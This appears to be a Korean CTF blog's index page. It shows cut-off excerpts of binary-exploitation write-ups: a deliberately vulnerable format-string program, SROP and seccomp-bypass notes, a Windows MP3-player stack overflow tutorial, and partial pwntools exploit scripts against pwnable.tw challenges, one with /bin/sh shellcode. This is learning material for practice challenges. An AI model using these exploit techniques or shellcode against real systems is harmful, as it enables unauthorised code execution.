exit()? C에서 exit() 이라는 함수는, 현재의 C프로그램 자체를 완전 종료하는 기능을 가집니다. exit()는 코드에서 직접 선언하여 사용할 수도 있지만, __libc_start_main()에서 main함수를 동작한 이후 마지막 단계에서 호출하기도 합니다. ba0bab➤ disas 0x7ffff7a05ab0 Dump of assembler code for function __libc_start_main: 0x00007ffff7a05ab0 : push r13 0x00007ffff7a05ab2 : push r12 0x00007ffff7a05ab4 : xor eax,eax ... ... ... 0x00007ffff7a05b95 : call rax 0x00007ffff7a05b97 : mov edi,..
#include #include #include int main(void) { char buf[300] = {0}; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); printf("input: "); read(0, buf, 300); printf(buf); exit(0); } 컴파일 : gcc fsb.c -o fsb -no-pie printf 에서 Format String Bug가 발생한다. Exploit scenario 오프셋 구하기 exit_got를 main으로 돌리는 동시에 libc_start_main leak exit_got를 one_gadget으로 overwrite get shell Exploit flow main으로 다시 가야하는 이유는 첫 번째 fsb..
Summary SROP (SigReturn Oriented Programming) rt_sigreturn syscall stack emulate Analysis 0x401000: push rbp 0x401001: mov rbp,rsp 0x401004: sub rsp,0x40 0x401008: mov eax,0x1 0x40100d: mov edi,0x1 0x401012: lea rsi,ds:0x402000 //"Hey, can i get some feedback for the CTF?" 0x40101a: mov edx,0x2a 0x40101f: syscall 0x401021: mov edi,0x0 0x401026: lea rsi,[rsp-0x40] //buf 0x40102b: mov edx,0x400 //..
Summary seccomp 우회 gadget in libc syscall orw Analysis 스트링에 base64로 된 문장이 있는데 복호화하면 /home/seccomp/flag 이라는 문장을 얻을 수 있다. orw 하는 문제라는 것을 예측 할 수 있다. hyomin@ubuntu:~/hy0/ctf/layer/pwn/how_old$ seccomp-tools dump ./seccomp line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002: 0x20 0x00 0x00 0x..
from pwn import * s = remote("chall.pwnable.tw", 10103) e = ELF("./silver_bullet") libc = ELF("./libc_32.so.6") context.log_level = 'debug' pr = 0x08048475 s.recvuntil(":") s.sendline("1") s.recvuntil(":") s.sendline("A"*47) s.recvuntil("choice :") s.sendline("2") s.recvuntil(":") s.send("a") s.recvuntil("choice :") s.sendline("2") s.recvuntil(":") payload = "\xff\xff\xff\xff\xff\xff\xff..
from pwn import * #s = process("./start")s = remote('chall.pwnable.tw', 10000)context.log_level = 'debug's.recv() shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" payload = "A"*20payload += p32(0x8048087)#payload += p32(0x8048060) s.send(payload) leak_stack=u32(s.recv(4)) log.success(hex(leak_stack)) payload = "A"*20payload += p32..
0. Info corelen 팀의 windows exploit tutorial 문서 part 1 인 Easy RM to MP3프로그램의 stack based overflow 취약점을 이용해 exploit을 해보겠다. os 환경은 window xp sp3 en 에서 진행 하였다. debugger는 windbg를 이용하였다. exploit db에 검색하면 해당 취약점에 대한 정보와 당시 프로그램을 구할 수 있다. 내가 공부한 내용은 2009-07-16 Crazy_Hacker가 발견한 버그이다. 1. Vulnerability .m3u 포멧의 파일을 열 때 stack based overflow 취약점이 발생한다. 파이썬을 이용해 “A”를 30000개를 적어준다. 이를 Easy RM to MP3로 열게 되면 크래..
- 해킹
- exit
- FSB
- heap
- TLS
- fsop
- codegate
- stack reusing
- HackCTF
- rt_sigreturn
- fastbin
- srop
- oob
- 본선가고싶다
- fastbindup
- glibc
- pwable
- pwnable
- ebp change
- hacking
- SQLi
- overflow
- shellcoding
- tcache
- pwnable.tw
- Total
- Today
- Yesterday